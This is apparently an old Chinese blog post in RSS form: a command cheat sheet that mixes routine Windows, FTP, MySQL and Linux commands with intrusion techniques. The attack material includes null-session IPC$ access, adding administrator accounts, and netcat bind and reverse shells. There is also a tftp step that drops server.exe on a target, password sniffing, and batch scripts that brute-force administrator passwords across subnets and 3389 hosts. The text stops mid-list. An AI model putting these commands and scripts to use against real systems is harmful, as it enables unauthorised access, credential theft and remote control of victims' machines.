﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-肆无忌惮-随笔分类-随心所欲</title><link>http://www.cnitblog.com/raise/category/2587.html</link><description>      青青子矜，悠悠我心，纵我不往，子宁不之？ 青青子佩，悠悠我思，纵我不往，子宁不来？</description><language>zh-cn</language><lastBuildDate>Wed, 05 Oct 2011 14:14:47 GMT</lastBuildDate><pubDate>Wed, 05 Oct 2011 14:14:47 GMT</pubDate><ttl>60</ttl><item><title>常用DOS命令</title><link>http://www.cnitblog.com/raise/archive/2006/04/28/9835.html</link><dc:creator>江可</dc:creator><author>江可</author><pubDate>Fri, 28 Apr 2006 03:03:00 GMT</pubDate><guid>http://www.cnitblog.com/raise/archive/2006/04/28/9835.html</guid><wfw:comment>http://www.cnitblog.com/raise/comments/9835.html</wfw:comment><comments>http://www.cnitblog.com/raise/archive/2006/04/28/9835.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/raise/comments/commentRss/9835.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/raise/services/trackbacks/9835.html</trackback:ping><description><![CDATA[
		<font size="2">net use \\ip\ipc$ " " /user:" " 建立IPC空链接 <br />net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 <br />net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: <br />net use h: \\ip\c$ 登陆后映射对方C：到本地为H: <br />net use \\ip\ipc$ /del 删除IPC链接 <br />net use h: /del 删除映射对方到本地的为H:的映射 <br />net user 用户名　密码　/add 建立用户 <br />net user guest /active:yes 激活guest用户 <br />net user 查看有哪些用户 <br />net user 帐户名 查看帐户的属性 <br />net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数 <br />net start 查看开启了哪些服务 <br />net start 服务名　 开启服务；(如:net start telnet， net start schedule) <br />net stop 服务名 停止某服务 <br />net time \\目标ip 查看对方时间 <br />net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 <br />net view 查看本地局域网内开启了哪些共享 <br />net view \\ip 查看对方局域网内开启了哪些共享 <br />net config 显示系统网络设置 <br />net logoff 断开连接的共享 <br />net pause 服务名 暂停某服务 <br />net send ip "文本信息" 向对方发信息 <br />net ver 局域网内正在使用的网络连接类型和信息 <br />net share 查看本地开启的共享 <br />net share ipc$ 开启ipc$共享 <br />net share ipc$ /del 删除ipc$共享 <br />net share c$ /del 删除C：共享 <br />net user guest 12345 用guest用户登陆后用将密码改为12345 <br />net password 密码 更改系统登陆密码 <br />netstat -a 查看开启了哪些端口,常用netstat -an <br />netstat -n 查看端口的网络连接情况，常用netstat -an <br />netstat -v 查看正在进行的工作 <br />netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） <br />netstat -s 查看正在使用的所有协议使用情况 <br />nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 <br />tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 <br />ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 <br />ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) <br />ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息 <br />tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件<br /><br />#2 二：<br /><br />del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） <br />move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 <br />fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&gt; "和"&gt; &gt;" 是重定向命令 <br />at id号 开启已注册的某个计划任务 <br />at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 <br />at id号 /delete 停止某个已注册的计划任务 <br />at 查看所有的计划任务 <br />at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 <br />finger username @host 查看最近有哪些用户登陆 <br />telnet ip 端口 远和登陆服务器,默认端口为23 <br />open ip 连接到IP（属telnet登陆后的命令） <br />telnet 在本机上直接键入telnet 将进入本机的telnet <br />copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 <br />copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下 <br />cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 <br />copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件（所有文件）至本地C： <br />xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 <br />tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 <br />tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 <br />ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) <br />route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface <br />arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 <br />start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 <br />mem 查看cpu使用情况 <br />attrib 文件名(目录名) 查看某文件（目录）的属性 <br />attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 <br />dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 <br />date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 <br />set 指定环境变量名称=要指派给变量的字符 设置环境变量 <br />set 显示当前所有的环境变量 <br />set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 <br />pause 暂停批处理程序，并显示出：请按任意键继续.... <br />if 在批处理程序中执行条件处理（更多说明见if命令及变量） <br />goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） <br />call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） <br />for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） <br />echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 <br />echo 信息 在屏幕上显示出信息 <br />echo 信息 &gt;&gt; pass.txt 将"信息"保存到pass.txt文件中 <br />findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello <br />find 文件名 查找某文件 <br />title 标题名字 更改CMD窗口标题名字 <br />color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 <br />prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )<br /><br />#3 三：<br /><br />ver 在DOS窗口下显示版本信息 <br />winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） <br />format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS <br />md　目录名 创建目录 <br />replace 源文件　要替换文件的目录 替换文件 <br />ren 原文件名　新文件名 重命名文件名 <br />tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 <br />type 文件名 显示文本文件的内容 <br />more 文件名 逐屏显示输出文件 <br />doskey 要锁定的命令＝字符<br />doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= <br />taskmgr 调出任务管理器 <br />chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 <br />tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 <br />exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe <br />path 路径\可执行文件的文件名 为可执行文件设置一个路径。 <br />cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? <br />regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； <br />regedit /e 注册表文件名 导出注册表 <br />cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 <br />cacls 文件名 查看文件的访问用户权限列表 <br />REM 文本内容 在批处理文件中添加注解 <br />netsh 查看或更改本地网络配置情况<br /><br />#4 四：<br /><br />IIS服务命令： <br />iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） <br />iisreset /start或stop 启动（停止）所有Internet服务 <br />iisreset /restart 停止然后重新启动所有Internet服务 <br />iisreset /status 显示所有Internet服务状态 <br />iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 <br />iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 <br />iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 <br />iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 <br />FTP 命令： (后面有详细说明内容) <br />ftp的命令行格式为:<br />ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。<br />－d 使用调试方式。 <br />－n 限制ftp的自动登录,即不使用.netrc文件。<br />－g 取消全局文件名。 <br />help [命令] 或 ？[命令] 查看命令说明 <br />bye 或 quit 终止主机FTP进程,并退出FTP管理方式. <br />pwd 列出当前远端主机目录 <br />put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 <br />get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 <br />mget [remote-files] 从远端主机接收一批文件至本地主机 <br />mput local-files 将本地主机中一批文件传送至远端主机 <br />dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 <br />ascii 设定以ASCII方式传送文件(缺省值) <br />bin 或 image 设定以二进制方式传送文件 <br />bell 每完成一次文件传送,报警提示 <br />cdup 返回上一级目录 <br />close 中断与远程服务器的ftp会话(与open对应) <br />open host[port] 建立指定ftp服务器连接,可指定连接端口 <br />delete 删除远端主机中的文件 <br />mdelete [remote-files] 删除一批文件 <br />mkdir directory-name 在远端主机中建立目录 <br />rename [from] [to] 改变远端主机中的文件名 <br />rmdir directory-name 删除远端主机中的目录 <br />status 显示当前FTP的状态 <br />system 显示远端主机系统类型 <br />user user-name [password] [account] 重新以别的用户名登录远端主机 <br />open host [port] 重新建立一个新的连接 <br />prompt 交互提示模式 <br />macdef 定义宏命令 <br />lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 <br />chmod 改变远端主机的文件权限 <br />case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 <br />cd remote－dir 进入远程主机目录 <br />cdup 进入远程主机目录的父目录 <br />! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip<br /><br />#5 五：<br /><br />MYSQL 命令： <br />mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。<br />（例：mysql -h110.110.110.110 -Uroot -P123456 <br />注:u与root可以不用加空格，其它也一样） <br />exit 退出MYSQL <br />mysql*** -u用户名 -p旧密码 password 新密码 修改密码 <br />grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） <br />show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 <br />use mysql；<br />show tables; 显示库中的数据表 <br />describe 表名; 显示数据表的结构 <br />create database 库名; 建库 <br />use 库名；<br />create table 表名 (字段设定列表)； 建表 <br />drop database 库名; <br />drop table 表名； 删库和删表 <br />delete from 表名; 将表中记录清空 <br />select * from 表名; 显示表中的记录 <br />mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 <br />win2003系统下新增命令（实用部份）： <br />shutdown /参数 关闭或重启本地或远程主机。<br />参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。<br />例：shutdown /r /t 0 立即重启本地主机（无延时） <br />taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。<br />参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 <br />tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。<br />参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。<br /><br />#6 六：<br /><br />Linux系统下基本命令： 要区分大小写 <br />uname 显示版本信息（同win2K的 ver） <br />dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） <br />pwd 查询当前所在的目录位置 <br />cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 <br />cat 文件名 查看文件内容 <br />cat &gt;abc.txt 往abc.txt文件中写上内容。 <br />more 文件名 以一页一页的方式显示一个文本文件。 <br />cp 复制文件 <br />mv 移动文件 <br />rm 文件名 删除文件，rm -a 目录名删除目录及子目录 <br />mkdir 目录名 建立目录 <br />rmdir 删除子目录，目录内没有文档。 <br />chmod 设定档案或目录的存取权限 <br />grep 在档案中查找字符串 <br />diff 档案文件比较 <br />find 档案搜寻 <br />date 现在的日期、时间 <br />who 查询目前和你使用同一台机器的人以及Login时间地点 <br />w 查询目前上机者的详细资料 <br />whoami 查看自己的帐号名称 <br />groups 查看某人的Group <br />passwd 更改密码 <br />history 查看自己下过的命令 <br />ps 显示进程状态 <br />kill 停止某进程 <br />gcc 黑客通常用它来编译C语言写的文件 <br />su 权限转换为指定使用者 <br />telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 <br />ftp ftp连接上某服务器（同win2K） <br /><br />附：批处理命令与变量<br /><br />1：for命令及变量 基本格式： <br />FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。<br />批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3<br /><br />(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }<br /><br />command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开<br />command_parameters：为特定命令指定参数或命令行开关<br /><br />IN (set)：指在(set)中取值；DO command ：指执行command<br /><br />参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 <br />用法举例： <br />@echo off <br />echo 用法格式：test.bat *.*.* &gt; test.txt <br /><br />for /L %%G in (1 1 254) do echo %1.%%G &gt;&gt;test.txt &amp; net use \\%1.%%G /user:***istrator | find "命令成功完成" &gt;&gt;test.txt <br />存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。<br /><br />/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 <br />@echo off <br />echo 用法格式：ok.bat ip <br />FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 <br />存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。</font>
		<a href="http://www.jz5u.com/" target="_blank">
				<font color="#000000" size="2">http://www.jz5u.com</font>
		</a>
		<br />
		<br />
		<font size="2">#7 七：<br /><br />2：if命令及变量 基本格式： <br />IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。<br />例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。<br />0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 <br />IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。<br />例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） <br />IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。<br />例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。 <br />IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&lt; &gt;括起来，因为del命令要单独一行时才能执行，用上&lt; &gt;后就等于是单独一行了；例如：“if exist test.txt. &lt;del test.txt.&gt; else echo test.txt.missing ”，注意命令中的“.”<br /><br />系统外部命令(均需下载相关工具)：<br /><br />1、瑞士军刀：nc.exe<br /><br />参数说明： <br />-h 查看帮助信息 <br />-d 后台模式 <br />-e prog程序重定向，一但连接就执行［危险］ <br />-i secs延时的间隔 <br />-l 监听模式，用于入站连接 <br />-L 监听模式，连接天闭后仍然继续监听，直到CTR+C <br />-n IP地址，不能用域名 <br />-o film记录16进制的传输 <br />-p[空格]端口 本地端口号 <br />-r 随机本地及远程端口 <br />-t 使用Telnet交互方式 <br />-u UDP模式 <br />-v 详细输出，用-vv将更详细 <br />-w数字 timeout延时间隔 <br />-z 将输入，输出关掉（用于扫锚时） <br />基本用法： <br />nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 <br />nc -l -p 80 开启本机的TCP 80端口并监听 <br />nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 <br />nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 <br />nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 <br />高级用法： <br />nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 <br />nc -L -p 80 &gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt <br />nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 <br />type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 <br />本机上用：nc -l -p 本机端口 <br />在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K<br />nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 <br />本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 <br />在对方主机上用：nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件到对方主机 <br />备 注： <br />| 管道命令 <br />&lt; 或 &gt; 重定向命令。“&lt;”，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 <br />＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &gt;&gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 <br />&gt;与&gt;&gt;的区别 　"&gt;"指：覆盖；"&gt;&gt;"指：保存到(添加到）。<br />如：@dir c:\winnt &gt;&gt; d:\log.txt和@dir c:\winnt &gt; d:\log.txt二个命令分别执行二次比较看：用&gt;&gt;的则是把二次的结果都保存了，而用：&gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。<br /><br />#8 八：<br /><br />2、扫锚工具：xscan.exe<br /><br />基本格式 <br />xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 <br />xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 <br />检测项目 <br />-active 检测主机是否存活 <br />-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） <br />-port 检测常用服务的端口状态 <br />-ftp 检测FTP弱口令 <br />-pub 检测FTP服务匿名用户写权限 <br />-pop3 检测POP3-Server弱口令 <br />-smtp 检测SMTP-Server漏洞 <br />-sql 检测SQL-Server弱口令 <br />-smb 检测NT-Server弱口令 <br />-iis 检测IIS编码/解码漏洞 <br />-cgi 检测CGI漏洞 <br />-nasl 加载Nessus攻击脚本 <br />-all 检测以上所有项目 <br />其它选项 <br />-i 适配器编号 设置网络适配器, &lt;适配器编号&gt;可通过"-l"参数获取 <br />-l 显示所有网络适配器 <br />-v 显示详细扫描进度 <br />-p 跳过没有响应的主机 <br />-o 跳过没有检测到开放端口的主机 <br />　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 <br />-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) <br />用法示例 <br />xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 <br />xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 <br />xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机</font>
		<a href="http://www.jz5u.com/" target="_blank">
				<font color="#000000" size="2">www.jz5u.com</font>
		</a>
		<br />
		<br />
		<font size="2">#9 九：<br /><br />3、命令行方式嗅探器: xsniff.exe<br />可捕获局域网内FTP/SMTP/POP3/HTTP协议密码<br />参数说明 <br />-tcp 输出TCP数据报 <br />-udp 输出UDP数据报 <br />-icmp 输出ICMP数据报 <br />-pass 过滤密码信息 <br />-hide 后台运行 <br />-host 解析主机名 <br />-addr IP地址 过滤IP地址 <br />-port 端口 过滤端口 <br />-log 文件名 将输出保存到文件 <br />-asc 以ASCII形式输出 <br />-hex 以16进制形式输出 <br />用法示例 <br />xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 <br />xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 <br /><br />4、终端服务密码破解: tscrack.exe<br /><br />参数说明 <br />-h 显示使用帮助 <br />-v 显示版本信息 <br />-s 在屏幕上打出解密能力 <br />-b 密码错误时发出的声音 <br />-t 同是发出多个连接（多线程） <br />-N Prevent System Log entries on targeted server <br />-U 卸载移除tscrack组件 <br />-f 使用－f后面的密码 <br />-F 间隔时间（频率） <br />-l 使用－l后面的用户名 <br />-w 使用－w后面的密码字典 <br />-p 使用－p后面的密码 <br />-D 登录主页面 <br />用法示例 <br />tscrack 192.168.0.1 -l ***istrator -w pass.dic 远程用密码字典文件暴破主机的***istrator的登陆密码 <br />tscrack 192.168.0.1 -l ***istrator -p 123456 用密码123456远程登陆192.168.0.1的***istrator用户 <br />@if not exist ipcscan.txt goto noscan <br />@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i <br />nscan <br />@echo 3389.txt no find or scan faild <br />(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) <br />3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat <br />@if not exist tscrack.exe goto noscan <br />@tscrack %1 -l ***istrator -w pass.dic &gt;&gt;rouji.txt <br />:noscan <br />@echo tscrack.exe no find or scan faild <br />(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) <br />hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密码，并将破解结果保存在rouji.txt文件中。 <br /><br />5、其它：<br /><br />Shutdown.exe <br />Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） <br />fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） <br />fpipe -l 80 -s 1029 -r 80 </font>
		<a href="http://www.sina.com.cn/" target="_blank">
				<font color="#000000" size="2">www.sina.com.cn</font>
		</a>
		<font size="2"> 当有人扫锚你的80端口时，他扫到的结果会完全是</font>
		<a href="http://www.sina.com.cn/" target="_blank">
				<font color="#000000" size="2">www.sina.com.cn</font>
		</a>
		<font size="2">的主机信息 <br />Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 <br />OpenTelnet.exe (远程开启telnet工具) <br />opentelnet.exe \\IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。<br />NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。<br /><br />ResumeTelnet.exe (OpenTelnet附带的另一个工具) <br />resumetelnet.exe \\IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。<br /><br />#10 十：<br /><br />6、FTP命令详解：<br /><br />FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。<br /><br />FTP的命令行格式为： <br />ftp -v -d -i -n -g [主机名] ，其中<br /><br />-v 显示远程服务器的所有响应信息；<br /><br />-n 限制ftp的自动登录，即不使用；.n etrc文件；<br /><br />-d 使用调试方式；<br /><br />-g 取消全局文件名。<br /><br />FTP使用的内部命令如下(中括号表示可选项):<br /><br />1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip <br />2.$ macro-ame[args]： 执行宏定义macro-name。<br /><br />3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 <br />4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。<br /><br />5.ascii：使用ascii类型传输方式。<br />6.bell：每个命令执行完毕后计算机响铃一次。<br /><br />7.bin：使用二进制文件传输方式。<br />8.bye：退出ftp会话过程。<br /><br />9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 <br />10.cd remote-dir：进入远程主机目录。<br /><br />11.cdup：进入远程主机目录的父目录。 <br />12.chmod mode 